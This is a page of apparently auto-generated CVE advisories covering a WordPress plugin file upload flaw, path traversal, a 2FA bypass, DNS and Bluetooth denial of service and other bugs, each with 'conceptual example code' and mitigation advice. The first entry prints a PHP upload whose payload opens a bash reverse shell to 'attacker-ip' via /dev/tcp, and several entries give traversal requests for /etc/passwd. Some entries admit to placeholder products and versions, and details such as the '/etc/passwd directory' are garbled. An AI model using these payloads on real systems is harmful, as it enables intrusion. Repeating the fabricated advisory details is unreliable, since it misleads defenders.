Author: Ameeba

  • CVE-2025-6206: Arbitrary File Upload Vulnerability in Aiomatic WordPress Plugin

    Overview

    The vulnerability CVE-2025-6206 targets the Aiomatic – Automatic AI Content Writer & Editor, GPT-3 & GPT-4, ChatGPT ChatBot & AI Toolkit plugin for WordPress. It allows authenticated attackers to upload arbitrary files due to missing file type validation, potentially leading to remote code execution and system compromise. Sites using versions up to and including 2.5.0 of this plugin are at risk.

    Vulnerability Summary

    CVE ID: CVE-2025-6206
    Severity: High (7.5 CVSS score)
    Attack Vector: Network
    Privileges Required: Low (Subscriber-level access)
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Aiomatic WordPress Plugin | Up to and including 2.5.0

    How the Exploit Works

    The exploit takes advantage of the lack of file type validation in the ‘aiomatic_image_editor_ajax_submit’ function. This allows an authenticated user with at least subscriber-level access to upload arbitrary files on the server. The attackers can use this vulnerability to upload malicious scripts, which can be later executed to compromise the system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited.

    POST /wp-admin/admin-ajax.php?action=aiomatic_image_editor_ajax_submit HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="aiomatic_image"; filename="malicious.php"
    Content-Type: application/x-php
    <?php exec('/bin/bash -c "bash -i >& /dev/tcp/attacker-ip/8080 0>&1"'); ?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this conceptual example, the attacker uploads a PHP file that when executed, opens a reverse shell to the attacker’s machine, granting them control over the server.

  • CVE-2025-3092: Unauthenticated Remote User Enumeration Vulnerability

    Overview

    Cybersecurity professionals and system administrators must pay attention to a newly discovered vulnerability, CVE-2025-3092. This vulnerability allows an unauthenticated remote attacker to enumerate valid user names by exploiting an unprotected endpoint. The potential for system compromise or data leakage makes this a severe risk that impacts any system or service that fails to properly secure its endpoints.

    Vulnerability Summary

    CVE ID: CVE-2025-3092
    Severity: High – CVSS 7.5
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System Compromise, Data Leakage

    Affected Products

    Product | Affected Versions

    [Product A] | All versions prior to 4.2.0
    [Product B] | Versions 3.0.0 through 3.1.2
    (The actual products and versions would be filled in based on available data or reasonable assumptions)

    How the Exploit Works

    An attacker exploiting this vulnerability sends specially crafted network requests to the unprotected endpoint. By observing the responses, the attacker can deduce valid usernames. These usernames could be used in further attacks, such as brute force password cracking or phishing attempts. The vulnerability arises from the system’s improper handling of requests, specifically the failure to limit what information is disclosed to unauthenticated users.

    Conceptual Example Code

    GET /api/users?username=guess HTTP/1.1
    Host: vulnerable.example.com

    The above example represents a simple GET request where an attacker might attempt to guess a username (‘guess’). The system’s response would then indicate whether the username is valid.

    Mitigation Guidance

    Affected system administrators are strongly advised to apply the vendor-supplied patch as soon as possible. If a patch is not immediately available or cannot be applied in a timely manner, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can be configured to monitor for suspicious activity related to this vulnerability and block offending requests. However, they do not provide a permanent solution and should only be used as part of a broader, long-term security strategy.

  • CVE-2025-3091: Two-factor Authentication Bypass Vulnerability

    Overview

    The vulnerability CVE-2025-3091 is a serious flaw which could allow a low privileged remote attacker to bypass two-factor authentication. This vulnerability affects any users who rely on this method for security, potentially leading to unauthorized access, system compromise, or data leakage. It’s a significant concern because it undermines the primary function of two-factor authentication, which is to provide an extra layer of security.

    Vulnerability Summary

    CVE ID: CVE-2025-3091
    Severity: High (7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    [Product A] | [Version 1.0-2.0]
    [Product B] | [Version 3.0-4.0]
    (Note: These are hypothetical products and versions, actual product and version details will depend on the vendor’s disclosure.)

    How the Exploit Works

    The exploit works by an attacker obtaining the second factor for another user’s two-factor authentication, such as a temporary code or a physical token. The vulnerability lies in that the system does not adequately validate the first factor, which is usually the user’s password. As a result, an attacker can impersonate a legitimate user without knowing their password, simply by using the second factor.

    Conceptual Example Code

    Below is a simplified example of how the vulnerability might be exploited. In this HTTP request, the attacker uses the “secondFactor” parameter without needing to provide a valid “password” parameter.

    POST /login HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "username": "victim",
    "password": "",
    "secondFactor": "stolen_token_or_code"
    }

    Recommended Mitigation

    Affected users should apply patches from the vendor as soon as they are made available. In the absence of a patch, a web application firewall (WAF) or intrusion detection system (IDS) could be used to mitigate the vulnerability temporarily. These systems should be configured to detect and block suspicious login attempts.

  • CVE-2025-2962: Denial-of-Service Vulnerability in DNS Implementation

    Overview

    The vulnerability CVE-2025-2962 is a critical security flaw that impacts the DNS implementation of certain products. This vulnerability can lead to a denial-of-service attack, subsequently resulting in an infinite loop. It is integral for businesses to understand and mitigate this vulnerability promptly to avoid potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-2962
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of service, potential system compromise, or data leakage

    Affected Products

    Product | Affected Versions

    [Product 1] | [Version 1]
    [Product 2] | [Version 2]

    How the Exploit Works

    The exploit works by sending maliciously crafted DNS requests to affected products. Due to an error in the DNS implementation, these requests trigger an infinite loop, leading to a denial-of-service condition. An attacker can exploit this vulnerability remotely without requiring any user interaction or special privileges.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious DNS request that could potentially trigger the vulnerability:

    dig @target.example.com ANY `perl -e 'print "A"x2500'`.com

    This command sends a DNS lookup request to the target server for a non-existent domain comprising of a series of ‘A’ characters. If the target server is vulnerable, this request could cause a denial-of-service condition by triggering an infinite loop.

    Mitigation Guidance

    The primary mitigation strategy is to apply a vendor-provided patch. If a patch is not yet available or cannot be applied immediately, a temporary mitigation strategy is to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to identify and block malicious DNS requests that could potentially exploit this vulnerability.

  • CVE-2025-52574: Unrestricted File Access in SysmonElixir System Monitor

    Overview

    This report discusses the critical vulnerability CVE-2025-52574, affecting the system monitor HTTP service, SysmonElixir. The vulnerability could allow potential attackers unauthorized access to sensitive system files, potentially leading to system compromise or data leakage. The implications of this vulnerability are significant, as it directly impacts the security of systems running vulnerable versions of SysmonElixir.

    Vulnerability Summary

    CVE ID: CVE-2025-52574
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Unauthorized access to sensitive system files potentially leading to system compromise or data leakage.

    Affected Products

    Product | Affected Versions

    SysmonElixir | Prior to 1.0.1

    How the Exploit Works

    The vulnerability lies in the /read HTTP endpoint of SysmonElixir. In versions prior to 1.0.1, this endpoint allows unrestricted reading of any file from the server’s /etc/passwd directory by default. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to read sensitive files, leading to potential system compromise or data leakage.

    Conceptual Example Code

    A conceptual example of exploiting this vulnerability could be an HTTP GET request to the /read endpoint, like this:

    GET /read?file=/etc/passwd HTTP/1.1
    Host: vulnerable.server.com

    Solution

    The vulnerability has been patched in SysmonElixir version 1.0.1, which adds a whitelist that limits reading to only files under priv/data. Users are strongly advised to update to the latest version of SysmonElixir. In cases where immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, configured to block or alert on HTTP requests to the /read endpoint.

  • CVE-2025-48026: Unauthenticated Path Traversal Vulnerability in Mitel OpenScape Xpressions

    Overview

    A significant vulnerability, identified as CVE-2025-48026, has been discovered in the WebApl component of Mitel’s OpenScape Xpressions system. This vulnerability could lead to unauthorized access and potential system compromise or data leakage. The vulnerability impacts all systems using specific versions of the product and is of significant concern due to its potential to be exploited without authentication.

    Vulnerability Summary

    CVE ID: CVE-2025-48026
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Unauthorized system access, potential data leakage, and system compromise

    Affected Products

    Product | Affected Versions

    Mitel OpenScape Xpressions | Through V7R1 FR5 HF43 P913

    How the Exploit Works

    The vulnerability lies in the insufficient input validation of the WebApl component of Mitel’s OpenScape Xpressions. This flaw allows an unauthenticated attacker to conduct a path traversal attack. With a successful exploit, the attacker can read files from the underlying OS and gain access to sensitive information, potentially compromising the entire system.

    Conceptual Example Code

    An attacker might exploit this vulnerability by sending a specially crafted request to the server. The following example demonstrates a conceptual HTTP request an attacker might use:

    GET /path/to/vulnerable/endpoint/../../../../etc/passwd HTTP/1.1
    Host: target.example.com

    In this example, `../../../../etc/passwd` is the path traversal payload designed to fetch sensitive files from the server. The actual malicious payload may vary based on the attacker’s intentions and the specific system’s configuration.

    Recommended Mitigation

    Users should apply the vendor’s patch as soon as it becomes available. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block path traversal attacks, protecting the system until a permanent fix can be applied.

  • CVE-2025-44528: Denial of Service Vulnerability in Texas Instruments SDK

    Overview

    The vulnerability identified as CVE-2025-44528 poses a significant risk to users of the Texas Instruments LP-CC2652RB SimpleLink CC13XX CC26XX SDK 7.41.00.17. This security issue can lead to a Denial of Service (DoS) attack, potentially leading to system compromise or data leak, which could be devastating for organizations relying on the affected system.

    Vulnerability Summary

    CVE ID: CVE-2025-44528
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of Service, potential system compromise, and data leakage

    Affected Products

    Product | Affected Versions

    Texas Instruments LP-CC2652RB SimpleLink CC13XX CC26XX SDK | 7.41.00.17

    How the Exploit Works

    The vulnerability can be exploited by an attacker sending a specially crafted LL_Pause_Enc_Req packet during the authentication and connection phase of the Texas Instruments SDK. A successful exploit can cause a Denial of Service (DoS), disrupting the operations of the system and potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents the crafted LL_Pause_Enc_Req packet that triggers the DoS condition.

    import socket
    def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    ll_pause_enc_req = "<crafted LL_Pause_Enc_Req packet>"
    sock.send(ll_pause_enc_req)
    sock.close()
    exploit("target_ip", target_port)

    Please note that this is a conceptual example and for informational purposes only. Actual exploitation may vary depending on the specific circumstances.

    Mitigation

    To mitigate the impact of this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy to prevent potential attacks.

  • CVE-2025-50349: Directory Traversal Vulnerability in PHPGurukul Pre-School Enrollment System Project V1.0

    Overview

    The PHPGurukul Pre-School Enrollment System Project V1.0 is vulnerable to a directory traversal attack, as discovered in the update-teacher-pic.php file. This vulnerability allows potential unauthorized data access, system compromise, and data leakage, affecting businesses and individuals who use this system for their pre-school enrollment processes. It is a critical vulnerability that demands immediate attention due to its high severity score.

    Vulnerability Summary

    CVE ID: CVE-2025-50349
    Severity: High (7.5 CVSS score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    PHPGurukul Pre-School Enrollment System Project | V1.0

    How the Exploit Works

    The exploit takes advantage of inadequate security measures in the handling of file paths in the update-teacher-pic.php file. An attacker can manipulate file paths to gain unauthorized access to directories and files outside of the intended directory, thereby gaining access to sensitive information or compromising the system.

    Conceptual Example Code

    Below is a conceptual example showing how an HTTP request might manipulate the file path to exploit this vulnerability:

    POST /update-teacher-pic.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "pic_path": "../../../../etc/passwd"
    }

    In this example, the attacker tries to access the /etc/passwd file, which is a sensitive file outside the intended directory. This file contains user password information, which could potentially lead to a system compromise if accessed by an unauthorized user.

    Mitigation Guidance

    Users of the affected system are advised to apply the vendor patch immediately as a permanent solution. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be employed to monitor and block suspicious activities.

  • CVE-2025-50348: Directory Traversal Vulnerability in PHPGurukul Pre-School Enrollment System Project V1.0

    Overview

    A critical cybersecurity vulnerability, tagged as CVE-2025-50348, has been identified in PHPGurukul Pre-School Enrollment System Project V1.0, a software widely used in educational institutions. This vulnerability opens the door for potential directory traversal attacks, leading to system compromise or data leakage. The severity of this vulnerability coupled with the software’s extensive use underscores the urgent need for immediate remediation.

    Vulnerability Summary

    CVE ID: CVE-2025-50348
    Severity: High (7.5 – CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    PHPGurukul Pre-School Enrollment System Project | V1.0

    How the Exploit Works

    The CVE-2025-50348 vulnerability exists due to insufficient input validation in the update-class-pic.php file of PHPGurukul Pre-School Enrollment System Project V1.0. An attacker can craft a malicious GET/POST request containing directory traversal characters (../) to access directories and execute files outside of the intended directory.

    Conceptual Example Code

    The following is a conceptual example of a malicious HTTP request that could exploit this vulnerability:

    POST /update-class-pic.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "pic_path": "../../../etc/passwd" }

    In this example, the “pic_path” parameter is used to traverse the directory structure to access sensitive data contained in the “/etc/passwd” file, a standard Unix file that contains user account details.

    Mitigation Measures

    To mitigate this vulnerability, users of PHPGurukul Pre-School Enrollment System Project V1.0 are advised to apply the latest patches provided by the vendor as soon as possible. In the interim, usage of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can help in detecting and preventing directory traversal attacks. Regular audits of systems and usage of least privilege principles can also reduce the potential impact of such vulnerabilities.

  • CVE-2025-3221: Remote Denial of Service Vulnerability in IBM InfoSphere Information Server

    Overview

    The vulnerability, labeled CVE-2025-3221, is a potent security flaw discovered in IBM InfoSphere Information Server versions 11.7.0.0 through 11.7.1.6. This vulnerability allows a remote attacker to cause a denial-of-service (DoS) attack. The severity and the potential for system compromise or data leakage make this vulnerability crucial for organizations to address.

    Vulnerability Summary

    CVE ID: CVE-2025-3221
    Severity: High – CVSS Score: 7.5
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of Service attack, potential system compromise, and data leakage

    Affected Products

    Product | Affected Versions

    IBM InfoSphere Information Server | 11.7.0.0 to 11.7.1.6

    How the Exploit Works

    The vulnerability is due to insufficient validation of incoming request resources. A remote attacker can exploit this by sending specially crafted requests to the affected system. This can lead to a denial of service, which can potentially compromise the system and lead to data leakage.

    Conceptual Example Code

    An attacker might exploit the vulnerability by sending a malicious request like the one below:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "..." }

    This is a conceptual example, and the actual malicious payload would depend on the specific details of the vulnerability.

    Mitigation

    IBM has released a patch addressing this vulnerability. All users are advised to apply the vendor patch as soon as possible. In cases where immediate patching is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these should not be seen as a permanent solution and the patch should be applied as soon as practicable.

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